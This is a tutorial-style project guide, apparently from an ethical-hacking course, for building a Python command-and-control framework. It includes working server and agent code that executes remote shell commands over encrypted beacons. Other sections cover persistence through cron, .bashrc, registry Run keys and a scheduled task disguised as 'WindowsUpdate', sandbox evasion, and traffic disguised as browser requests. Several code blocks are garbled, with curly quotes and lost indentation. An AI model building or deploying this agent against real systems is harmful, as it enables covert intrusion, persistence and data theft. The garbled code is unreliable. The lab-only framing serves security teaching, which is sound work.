Project 4: Build a Simple C2 (Command & Control) Framework
Goal: Develop hands-on offensive security skills by building tools and lab environments that demonstrate real attack paths with safe, reproducible evidence.
Offensive Workflow and Safety
Every offensive task has a legal boundary and a safety boundary. Define scope, isolate labs, and collect evidence without causing damage.
Reconnaissance to Exploitation
Recon discovers surface area, scanning validates exposure, and exploitation demonstrates impact. Each phase should output artifacts that make the next phase precise and repeatable.
Post-Exploitation and Reporting
Access without evidence is not a result. The goal is reproducible findings, minimal persistence, and clear remediation steps.
Concept Summary Table
| Concept Cluster | What You Need to Internalize |
|---|---|
| Recon | Asset discovery and fingerprinting. |
| Exploitation | Controlled proof of impact. |
| Post-exploitation | Privilege escalation and evidence capture. |
| OpSec | Avoid collateral damage, use lab setups. |
| Reporting | Clear, actionable remediation output. |
Deep Dive Reading by Concept
| Concept | Book & Chapter |
|---|---|
| Recon & scanning | The Hacker Playbook 3 — recon chapters |
| Web exploitation | Web Application Hacker’s Handbook — SQLi/XSS |
| Post-exploitation | Penetration Testing by Weidman — post-ex chapters |
| Reporting | PTES Technical Guidelines — reporting |
Project Overview
| Attribute | Value |
|---|---|
| Difficulty | Intermediate-Advanced |
| Time Estimate | 2-3 weeks |
| Programming Language | Python |
| Primary Tool | Socket Programming, Encryption |
| Main Book | “Black Hat Python” by Justin Seitz |
| Knowledge Area | Malware Analysis / Networking |
Learning Objectives
By completing this project, you will:
- Understand adversary infrastructure - How real attackers maintain persistent access
- Master network programming - Client-server communication with encryption
- Learn evasion concepts - Why certain patterns trigger detection
- Build persistence mechanisms - How backdoors survive reboots
- Develop defensive awareness - Know what to look for as a defender
The Core Question
“How do attackers maintain access to compromised systems and communicate with them covertly?”
Building a C2 framework teaches you the most critical phase of advanced attacks: post-exploitation. Initial access is just the beginning—maintaining control, receiving commands, and exfiltrating data is where real damage occurs. By building this yourself, you’ll understand:
- How beacon/callback mechanisms work
- Why encrypted channels are essential
- What defenders monitor for
- How to detect C2 traffic in your own networks
Deep Theoretical Foundation
The Command & Control Lifecycle
C2 COMMUNICATION LIFECYCLE
══════════════════════════
┌─────────────────────────────────────────────────────────────────────┐
│ ATTACKER INFRASTRUCTURE │
│ │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ C2 SERVER │ │
│ │ │ │
│ │ Components: │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ Listener │ │ Command │ │ Session │ │ │
│ │ │ (Port 443) │ │ Queue │ │ Manager │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ │ │ │
│ │ Capabilities: │ │
│ │ • Receive beacons from agents │ │
│ │ • Queue commands for execution │ │
│ │ • Track active sessions │ │
│ │ • Receive command output │ │
│ │ • Download exfiltrated files │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
▲
│ HTTPS (looks like normal traffic)
│ Every 60 seconds (configurable)
│ Encrypted payload
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ COMPROMISED NETWORK │
│ │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ AGENT (Beacon) │ │
│ │ │ │
│ │ Running on victim machine as: │ │
│ │ • Scheduled task │ │
│ │ • Service │ │
│ │ • Startup program │ │
│ │ • In-memory only (advanced) │ │
│ │ │ │
│ │ Behavior: │ │
│ │ 1. Sleep for configured interval │ │
│ │ 2. "Beacon" to C2 server (check for commands) │ │
│ │ 3. Execute any queued commands │ │
│ │ 4. Return output to C2 │ │
│ │ 5. Repeat │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Workstation │ │ Server │ │ Domain │ │
│ │ Agent 1 │ │ Agent 2 │ │ Controller │ │
│ └─────────────┘ └─────────────┘ │ Agent 3 │ │
│ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Why C2 Works This Way
DESIGN PRINCIPLES OF C2 FRAMEWORKS
══════════════════════════════════
1. BEACONING (Agent initiates connection)
┌─────────────────────────────────────────────────────────────────┐
│ │
│ Why agent connects TO server (not reverse): │
│ │
│ ❌ Server → Agent (blocked by firewall) │
│ Firewalls block inbound connections to workstations │
│ │
│ ✓ Agent → Server (allowed by firewall) │
│ Outbound HTTPS is almost always allowed │
│ Looks like normal web browsing │
│ │
│ Beacon interval tradeoffs: │
│ • Fast (5 sec): Responsive but noisy, easily detected │
│ • Medium (60 sec): Good balance │
│ • Slow (hours): Very stealthy but delayed commands │
│ │
└─────────────────────────────────────────────────────────────────┘
2. ENCRYPTION (Avoid network detection)
┌─────────────────────────────────────────────────────────────────┐
│ │
│ Plaintext C2 traffic: │
│ GET /command HTTP/1.1 │
│ ... │
│ cmd=whoami ← IDS sees this! Blocked! │
│ │
│ Encrypted C2 traffic: │
│ GET /api/v1/status HTTP/1.1 │
│ ... │
│ data=aGVsbG8gd29ybGQ... ← Just looks like API call │
│ │
│ Encryption provides: │
│ • Confidentiality: IDS can't read commands │
│ • Integrity: Tampering detected │
│ • Authenticity: Only our server accepted │
│ │
└─────────────────────────────────────────────────────────────────┘
3. PERSISTENCE (Survive reboots)
┌─────────────────────────────────────────────────────────────────┐
│ │
│ Without persistence: │
│ Victim reboots → Agent process dies → Access lost │
│ │
│ With persistence: │
│ Victim reboots → Persistence mechanism starts agent → │
│ Agent beacons → Access maintained │
│ │
│ Common persistence methods: │
│ │
│ Linux: │
│ • Cron job: @reboot /path/to/agent │
│ • Systemd service │
│ • ~/.bashrc execution │
│ • SSH authorized_keys │
│ │
│ Windows: │
│ • Scheduled task │
│ • Registry Run key │
│ • Service installation │
│ • WMI event subscription │
│ │
└─────────────────────────────────────────────────────────────────┘
4. EVASION (Avoid detection)
┌─────────────────────────────────────────────────────────────────┐
│ │
│ What defenders look for: │
│ │
│ Network level: │
│ • Regular beacon intervals (exactly 60 sec = suspicious) │
│ • Unusual domains/IPs │
│ • Large data transfers at odd hours │
│ • Protocol anomalies │
│ │
│ Host level: │
│ • New scheduled tasks/services │
│ • Unknown processes │
│ • Suspicious file locations │
│ • Registry modifications │
│ │
│ Evasion techniques: │
│ • Jittered beacon intervals (random 50-70 sec) │
│ • Domain fronting │
│ • Process injection (hide in legitimate process) │
│ • Fileless execution (memory only) │
│ │
└─────────────────────────────────────────────────────────────────┘
C2 Protocol Design
C2 COMMUNICATION PROTOCOL
═════════════════════════
BEACON REQUEST (Agent → Server)
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ POST /api/v1/beacon HTTP/1.1 │
│ Host: legitimate-looking-domain.com │
│ User-Agent: Mozilla/5.0 (Windows NT 10.0) │
│ Content-Type: application/json │
│ │
│ { │
│ "id": "agent-uuid-here", // Unique agent identifier │
│ "timestamp": 1703692800, // Current timestamp │
│ "hostname": "WORKSTATION-01", // Victim hostname │
│ "username": "john.doe", // Current user │
│ "os": "Windows 10 Enterprise", // Operating system │
│ "ip": "192.168.1.50", // Internal IP │
│ "data": "base64-encoded-encrypted-output" // Command output │
│ } │
│ │
└─────────────────────────────────────────────────────────────────────┘
COMMAND RESPONSE (Server → Agent)
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ HTTP/1.1 200 OK │
│ Content-Type: application/json │
│ │
│ { │
│ "status": "ok", │
│ "commands": [ │
│ { │
│ "id": "cmd-uuid-1", │
│ "type": "shell", // Command type │
│ "data": "base64-encoded-encrypted-command" │
│ } │
│ ], │
│ "sleep": 60 // Next beacon interval │
│ } │
│ │
└─────────────────────────────────────────────────────────────────────┘
COMMAND TYPES
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ Type Description │
│ ──── ─────────── │
│ shell Execute shell command, return output │
│ download Download file from target to C2 │
│ upload Upload file from C2 to target │
│ screenshot Capture and send screenshot │
│ keylogger Start/stop keylogger │
│ persist Install persistence mechanism │
│ sleep Change beacon interval │
│ die Self-destruct agent │
│ │
└─────────────────────────────────────────────────────────────────────┘
Encryption for C2
ENCRYPTION ARCHITECTURE
═══════════════════════
KEY EXCHANGE (Initial handshake)
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ Agent Server │
│ │ │ │
│ │ 1. Generate RSA keypair │ │
│ │ Public key embedded in agent │ │
│ │ │ │
│ │ 2. Generate AES session key │ │
│ ├───────────────────────────────────────►│ │
│ │ Encrypt session key with RSA pub │ │
│ │ Send encrypted session key │ │
│ │ │ │
│ │ 3. Server decrypts with RSA priv │ │
│ │◄───────────────────────────────────────┤ │
│ │ Now both have same AES key │ │
│ │ │ │
│ │ 4. All further comms use AES │ │
│ │◄──────────────────────────────────────►│ │
│ │ │ │
└─────────────────────────────────────────────────────────────────────┘
AES ENCRYPTION (For each message)
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ Plaintext command: "whoami" │
│ │
│ 1. Generate random IV (16 bytes) │
│ 2. Encrypt with AES-256-CBC: │
│ ciphertext = AES_encrypt(plaintext, key, iv) │
│ 3. Combine: iv + ciphertext │
│ 4. Base64 encode for transmission │
│ │
│ Result: "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo..." │
│ │
│ To decrypt: │
│ 1. Base64 decode │
│ 2. Extract IV (first 16 bytes) │
│ 3. Decrypt remaining ciphertext with AES │
│ │
└─────────────────────────────────────────────────────────────────────┘
Project Specification
What You’re Building
A functional C2 framework with client and server components:
c2-framework/
├── server/
│ ├── server.py # Main C2 server
│ ├── handlers.py # HTTP request handlers
│ ├── sessions.py # Session management
│ ├── commands.py # Command queue
│ ├── crypto.py # Encryption utilities
│ └── web/
│ └── dashboard.html # Simple web UI
├── agent/
│ ├── agent.py # Agent/beacon code
│ ├── commands.py # Command execution
│ ├── crypto.py # Encryption (same key)
│ └── persistence.py # Persistence mechanisms
├── shared/
│ └── protocol.py # Shared protocol definitions
├── keys/
│ ├── server.key # Server private key
│ └── server.pub # Server public key (in agent)
├── requirements.txt
└── README.md
Functional Requirements
1. C2 Server
Must implement:
- HTTP/HTTPS listener on configurable port
- Session tracking (agent ID, last seen, hostname)
- Command queue per agent
- Receive and display command output
- Basic web UI showing connected agents
Should implement:
- Multiple listener support
- File download from agents
- File upload to agents
- Agent self-destruct command
Example commands:
# Start server
python server.py --port 443 --ssl
# In web UI or CLI:
> list # Show connected agents
> interact agent-uuid # Select an agent
> shell whoami # Execute command
> download /etc/passwd # Get file from agent
> upload payload.exe C:\temp # Send file to agent
> persist # Install persistence
> sleep 300 # Change beacon interval
> die # Kill agent
2. Agent/Beacon
Must implement:
- Beacon to server at configurable interval
- Receive and execute shell commands
- Return command output
- Handle connection failures gracefully
- Basic anti-analysis (check for VMs/debuggers)
Should implement:
- Encrypted communications
- File upload/download
- Screenshot capture
- Persistence installation
- Self-destruct capability
- Jittered beacon intervals
Agent behavior:
# Pseudocode
while True:
try:
# Check in with C2
response = beacon(server_url, agent_id)
# Execute any queued commands
for command in response.commands:
output = execute(command)
queue_output(command.id, output)
# Wait before next beacon
sleep(response.sleep + random_jitter())
except ConnectionError:
# Server unreachable, keep trying
sleep(fallback_interval)
3. Encryption Layer
Must implement:
- AES-256 encryption for all payloads
- Key exchange on first beacon
- Base64 encoding for transport
Should implement:
- RSA for initial key exchange
- Message authentication (HMAC)
- Key rotation
Non-Functional Requirements
- Stealth: Traffic should look like normal web traffic
- Reliability: Agent should reconnect after network issues
- Portability: Agent should work on Linux and Windows
- Modularity: Easy to add new commands
Solution Architecture
Component Design
┌─────────────────────────────────────────────────────────────────────┐
│ C2 SERVER │
└─────────────────────────────────────────────────────────────────────┘
│
│ ┌───────────────────────────────────────────────────────┐
├──│ HTTP Listener (Flask) │
│ │ - Handles beacon requests │
│ │ - Serves commands to agents │
│ │ - Receives output │
│ └───────────────────────────────────────────────────────┘
│
│ ┌───────────────────────────────────────────────────────┐
├──│ Session Manager │
│ │ - Tracks connected agents │
│ │ - Stores agent metadata │
│ │ - Manages session keys │
│ └───────────────────────────────────────────────────────┘
│
│ ┌───────────────────────────────────────────────────────┐
├──│ Command Queue │
│ │ - Stores pending commands per agent │
│ │ - Retrieves commands for beacon response │
│ │ - Stores command output │
│ └───────────────────────────────────────────────────────┘
│
│ ┌───────────────────────────────────────────────────────┐
└──│ Web Dashboard │
│ - Display connected agents │
│ - Queue commands │
│ - View output │
└───────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────┐
│ AGENT │
└─────────────────────────────────────────────────────────────────────┘
│
│ ┌───────────────────────────────────────────────────────┐
├──│ Beacon Module │
│ │ - HTTPS POST to server │
│ │ - Send agent info and output │
│ │ - Receive commands │
│ └───────────────────────────────────────────────────────┘
│
│ ┌───────────────────────────────────────────────────────┐
├──│ Command Executor │
│ │ - Parse received commands │
│ │ - Execute shell commands │
│ │ - Handle file operations │
│ │ - Return output │
│ └───────────────────────────────────────────────────────┘
│
│ ┌───────────────────────────────────────────────────────┐
├──│ Crypto Module │
│ │ - Encrypt outgoing data │
│ │ - Decrypt incoming commands │
│ └───────────────────────────────────────────────────────┘
│
│ ┌───────────────────────────────────────────────────────┐
└──│ Persistence Module │
│ - Install persistence mechanisms │
│ - Verify persistence is working │
└───────────────────────────────────────────────────────┘
Key Data Structures
@dataclass
class Agent:
id: str # UUID
hostname: str
username: str
os: str
ip: str
first_seen: datetime
last_seen: datetime
session_key: bytes # AES key for this agent
status: str # active, dormant, dead
@dataclass
class Command:
id: str # UUID
agent_id: str
command_type: str # shell, download, upload, etc.
data: str # Encrypted command data
status: str # pending, sent, completed
output: Optional[str] # Encrypted output
created_at: datetime
completed_at: Optional[datetime]
@dataclass
class BeaconRequest:
agent_id: str
timestamp: int
hostname: str
username: str
os: str
ip: str
output: List[CommandOutput] # Results from previous commands
@dataclass
class BeaconResponse:
status: str
commands: List[Command]
sleep: int # Next beacon interval
Phased Implementation Guide
Phase 1: Basic Server and Agent Communication (Days 1-3)
Goal: Agent can beacon to server, server tracks agents
- Create basic HTTP server:
```python
server/server.py
from flask import Flask, request, jsonify from datetime import datetime import uuid
app = Flask(name) agents = {} # Store connected agents
@app.route(‘/api/v1/beacon’, methods=[‘POST’]) def beacon(): data = request.json
agent_id = data.get('id')
if not agent_id:
agent_id = str(uuid.uuid4())
# Update or create agent record
agents[agent_id] = {
'id': agent_id,
'hostname': data.get('hostname'),
'username': data.get('username'),
'os': data.get('os'),
'ip': request.remote_addr,
'last_seen': datetime.now().isoformat()
}
print(f"[+] Beacon from {agent_id}: {agents[agent_id]['hostname']}")
return jsonify({
'status': 'ok',
'id': agent_id,
'commands': [],
'sleep': 60
})
@app.route(‘/api/v1/agents’, methods=[‘GET’]) def list_agents(): return jsonify(list(agents.values()))
if name == ‘main’: app.run(host=’0.0.0.0’, port=8080, debug=True)
2. **Create basic agent**:
```python
# agent/agent.py
import requests
import socket
import platform
import time
import uuid
import os
class Agent:
def __init__(self, server_url):
self.server_url = server_url
self.agent_id = str(uuid.uuid4())
self.sleep_interval = 60
def get_system_info(self):
return {
'id': self.agent_id,
'hostname': socket.gethostname(),
'username': os.getlogin(),
'os': f"{platform.system()} {platform.release()}",
'ip': socket.gethostbyname(socket.gethostname())
}
def beacon(self):
try:
data = self.get_system_info()
response = requests.post(
f"{self.server_url}/api/v1/beacon",
json=data,
timeout=30
)
result = response.json()
self.sleep_interval = result.get('sleep', 60)
return result
except Exception as e:
print(f"[-] Beacon failed: {e}")
return None
def run(self):
print(f"[*] Agent started, ID: {self.agent_id}")
while True:
self.beacon()
time.sleep(self.sleep_interval)
if __name__ == '__main__':
agent = Agent('http://YOUR_SERVER_IP:8080')
agent.run()
Verification: Start server, run agent, see beacon in server logs
Phase 2: Command Execution (Days 3-5)
Goal: Server can queue commands, agent executes them
- Add command queue to server:
```python
server/commands.py
from collections import defaultdict import uuid
command_queue = defaultdict(list) # agent_id -> [commands] command_results = {} # command_id -> result
def queue_command(agent_id: str, command_type: str, data: str) -> str: command_id = str(uuid.uuid4()) command_queue[agent_id].append({ ‘id’: command_id, ‘type’: command_type, ‘data’: data }) return command_id
def get_pending_commands(agent_id: str) -> list: commands = command_queue[agent_id] command_queue[agent_id] = [] # Clear after retrieval return commands
def store_result(command_id: str, output: str): command_results[command_id] = output
2. **Update server to send commands**:
```python
@app.route('/api/v1/beacon', methods=['POST'])
def beacon():
data = request.json
agent_id = data.get('id')
# Store any command results from agent
for result in data.get('results', []):
store_result(result['id'], result['output'])
# Get pending commands for this agent
commands = get_pending_commands(agent_id)
return jsonify({
'status': 'ok',
'commands': commands,
'sleep': 60
})
- Add command execution to agent:
```python
agent/commands.py
import subprocess import os
def execute_command(command_type: str, data: str) -> str: if command_type == ‘shell’: return execute_shell(data) elif command_type == ‘download’: return download_file(data) # Add more command types return “Unknown command type”
def execute_shell(command: str) -> str: try: result = subprocess.run( command, shell=True, capture_output=True, text=True, timeout=30 ) return result.stdout + result.stderr except subprocess.TimeoutExpired: return “Command timed out” except Exception as e: return f”Error: {str(e)}”
4. **Update agent to process commands**:
```python
def beacon(self):
try:
data = self.get_system_info()
data['results'] = self.pending_results
self.pending_results = []
response = requests.post(
f"{self.server_url}/api/v1/beacon",
json=data,
timeout=30
)
result = response.json()
# Execute received commands
for cmd in result.get('commands', []):
output = execute_command(cmd['type'], cmd['data'])
self.pending_results.append({
'id': cmd['id'],
'output': output
})
self.sleep_interval = result.get('sleep', 60)
return result
except Exception as e:
print(f"[-] Beacon failed: {e}")
return None
Verification: Queue “whoami” command, see output in server
Phase 3: Encryption Layer (Days 5-8)
Goal: All communications encrypted with AES
- Create encryption module:
```python
shared/crypto.py
from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad import base64
class AESCipher: def init(self, key: bytes = None): self.key = key or get_random_bytes(32) # AES-256
def encrypt(self, plaintext: str) -> str:
iv = get_random_bytes(16)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
padded_data = pad(plaintext.encode(), AES.block_size)
encrypted = cipher.encrypt(padded_data)
return base64.b64encode(iv + encrypted).decode()
def decrypt(self, ciphertext: str) -> str:
data = base64.b64decode(ciphertext)
iv = data[:16]
encrypted = data[16:]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(encrypted), AES.block_size)
return decrypted.decode()
For key exchange, use RSA
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP
def generate_rsa_keypair(): key = RSA.generate(2048) return key.export_key(), key.publickey().export_key()
def encrypt_with_rsa(public_key: bytes, data: bytes) -> bytes: key = RSA.import_key(public_key) cipher = PKCS1_OAEP.new(key) return cipher.encrypt(data)
def decrypt_with_rsa(private_key: bytes, encrypted: bytes) -> bytes: key = RSA.import_key(private_key) cipher = PKCS1_OAEP.new(key) return cipher.decrypt(encrypted)
2. **Implement key exchange**:
```python
# Agent first beacon includes encrypted session key
def initial_beacon(self):
# Generate session key
self.session_key = get_random_bytes(32)
# Encrypt session key with server's public key
encrypted_key = encrypt_with_rsa(
self.server_public_key,
self.session_key
)
data = {
'type': 'key_exchange',
'key': base64.b64encode(encrypted_key).decode()
}
response = requests.post(
f"{self.server_url}/api/v1/beacon",
json=data
)
# Now use AES for all future communications
- Encrypt all payloads:
# In agent def beacon(self): data = self.get_system_info() encrypted_data = self.cipher.encrypt(json.dumps(data)) response = requests.post( f"{self.server_url}/api/v1/beacon", json={'data': encrypted_data}, timeout=30 ) encrypted_response = response.json()['data'] result = json.loads(self.cipher.decrypt(encrypted_response)) # Process result...
Verification: Capture traffic in Wireshark, confirm it’s encrypted
Phase 4: Persistence Mechanisms (Days 8-10)
Goal: Agent survives reboots
- Linux persistence:
```python
agent/persistence.py
import os import shutil
def install_cron_persistence(): “"”Install cron job for persistence””” agent_path = os.path.abspath(file) cron_line = f”@reboot python3 {agent_path}\n”
# Add to user's crontab
cron_file = f"/tmp/cron_{os.getuid()}"
os.system(f"crontab -l > {cron_file} 2>/dev/null")
with open(cron_file, 'a') as f:
f.write(cron_line)
os.system(f"crontab {cron_file}")
os.remove(cron_file)
return "Cron persistence installed"
def install_bashrc_persistence(): “"”Add to .bashrc for persistence””” agent_path = os.path.abspath(file) bashrc = os.path.expanduser(“~/.bashrc”)
with open(bashrc, 'a') as f:
f.write(f"\n# System update\npython3 {agent_path} &\n")
return "Bashrc persistence installed" ```
-
Windows persistence: ```python def install_registry_persistence(): “"”Add to Windows registry Run key””” import winreg
agent_path = os.path.abspath(file) key = winreg.OpenKey( winreg.HKEY_CURRENT_USER, r”Software\Microsoft\Windows\CurrentVersion\Run”, 0, winreg.KEY_SET_VALUE ) winreg.SetValueEx(key, “WindowsUpdate”, 0, winreg.REG_SZ, f”pythonw.exe {agent_path}”) winreg.CloseKey(key) return “Registry persistence installed”
def install_scheduled_task(): “"”Create scheduled task for persistence””” import subprocess agent_path = os.path.abspath(file)
cmd = f'''schtasks /create /tn "WindowsUpdate" /tr "pythonw.exe {agent_path}" /sc onlogon /ru %USERNAME%'''
subprocess.run(cmd, shell=True, capture_output=True)
return "Scheduled task created" ```
Verification: Install persistence, reboot VM, confirm agent reconnects
Phase 5: Web Dashboard (Days 10-12)
Goal: Visual interface for managing agents
- Create dashboard HTML: ```html <!DOCTYPE html>
C2 Dashboard
Connected Agents
Command
Output
**Verification**: Access dashboard, see agents, send commands
### Phase 6: Evasion and Hardening (Days 12-14)
**Goal**: Make C2 traffic harder to detect
1. **Add jitter to beacon intervals**:
```python
import random
def get_sleep_with_jitter(base_sleep: int) -> int:
"""Add 20% jitter to sleep interval"""
jitter = base_sleep * 0.2
return int(base_sleep + random.uniform(-jitter, jitter))
- Make requests look like normal traffic:
def beacon(self): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'en-US,en;q=0.9', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', } response = requests.post( f"{self.server_url}/api/v1/beacon", json=encrypted_data, headers=headers, timeout=30 ) -
Add basic anti-analysis: ```python def check_sandbox(): “"”Basic sandbox/VM detection””” # Check for common VM artifacts import subprocess
# Check hostname hostname = socket.gethostname().lower() vm_names = [‘sandbox’, ‘malware’, ‘virus’, ‘sample’] if any(vm in hostname for vm in vm_names): return True
# Check for VM processes (Windows) if platform.system() == ‘Windows’: vm_processes = [‘vboxservice’, ‘vmwaretray’, ‘vmwareuser’] result = subprocess.run(‘tasklist’, capture_output=True, text=True) if any(proc in result.stdout.lower() for proc in vm_processes): return True
return False
In agent main:
if check_sandbox(): sys.exit(0) # Don’t run in sandbox
---
## Testing Strategy
### Unit Tests
```python
# test_crypto.py
def test_aes_encryption():
cipher = AESCipher()
plaintext = "test message"
encrypted = cipher.encrypt(plaintext)
decrypted = cipher.decrypt(encrypted)
assert decrypted == plaintext
def test_key_exchange():
priv, pub = generate_rsa_keypair()
session_key = get_random_bytes(32)
encrypted = encrypt_with_rsa(pub, session_key)
decrypted = decrypt_with_rsa(priv, encrypted)
assert decrypted == session_key
Integration Tests
- Full beacon cycle:
- Start server
- Start agent
- Verify beacon received
- Queue command
- Verify execution and output
- Persistence tests:
- Install persistence
- Reboot VM
- Verify agent reconnects
- Encryption verification:
- Capture traffic with Wireshark
- Confirm no plaintext commands visible
Common Pitfalls and Debugging
1. “Agent can’t connect to server”
Debug steps:
- Check firewall rules on server
- Verify correct IP/port
- Test with curl:
curl -X POST http://server:8080/api/v1/beacon -d '{}' - Check for VPN issues if using HTB-style network
2. “Encryption failing”
Debug steps:
- Verify both sides have same key
- Check padding (AES requires block-aligned data)
- Verify base64 encoding/decoding
3. “Commands not executing”
Debug steps:
- Check command queue is being populated
- Verify agent is parsing response correctly
- Add debug logging to command executor
4. “Persistence not working”
Debug steps:
- Verify file paths are absolute
- Check permissions on startup locations
- Test manually before automating
Extensions and Challenges
Beginner Extensions
- Screenshot capture: Take and send screenshots
- Keylogger: Capture keystrokes
- File browser: List directory contents
Intermediate Extensions
- Proxy/pivot: Route traffic through agent
- Multiple C2 servers: Failover if primary down
- Domain fronting: Hide C2 behind CDN
Advanced Extensions
- Process injection: Inject into legitimate process
- Fileless operation: Run entirely in memory
- Protocol over DNS: C2 over DNS queries
- Staged payload: Download full agent after small dropper
Real-World Connections
Commercial C2 Frameworks
Your project is a simplified version of:
- Cobalt Strike - Industry standard red team C2
- Metasploit - Open source framework
- Sliver - Modern open source C2
- Empire - PowerShell-focused C2
Defensive Applications
Understanding C2 helps defenders:
- Write better detection rules
- Understand attacker TTPs
- Hunt for C2 traffic in networks
- Develop incident response procedures
Self-Assessment Checklist
Core Functionality
- Agent beacons to server reliably
- Server tracks connected agents
- Commands execute and return output
- Communications are encrypted
- Persistence survives reboot
Code Quality
- Modular design (easy to add commands)
- Error handling (doesn’t crash on failures)
- Configuration options (ports, intervals)
- Logging for debugging
Understanding
- Can explain beacon/callback model
- Understand encryption implementation
- Know common persistence mechanisms
- Understand what defenders look for
Security
- Never test on systems you don’t own
- Only use in controlled lab environments
- Understand legal implications
Resources
Primary Reading
- “Black Hat Python” by Justin Seitz - Chapters 2-4
- “Penetration Testing” by Georgia Weidman - Chapter 12
- “Serious Cryptography” by Jean-Philippe Aumasson - Chapters 4-5
C2 Framework Study
- Sliver C2 Source Code - Modern open source C2
- Merlin C2 - Go-based C2 framework
- MITRE ATT&CK C2 Techniques
Python Cryptography
This project is part of the Ethical Hacking & Penetration Testing learning path.
WARNING: Only use this knowledge in authorized testing environments. Building and using C2 frameworks against systems you don’t own is illegal. This project is for educational purposes in controlled lab environments only.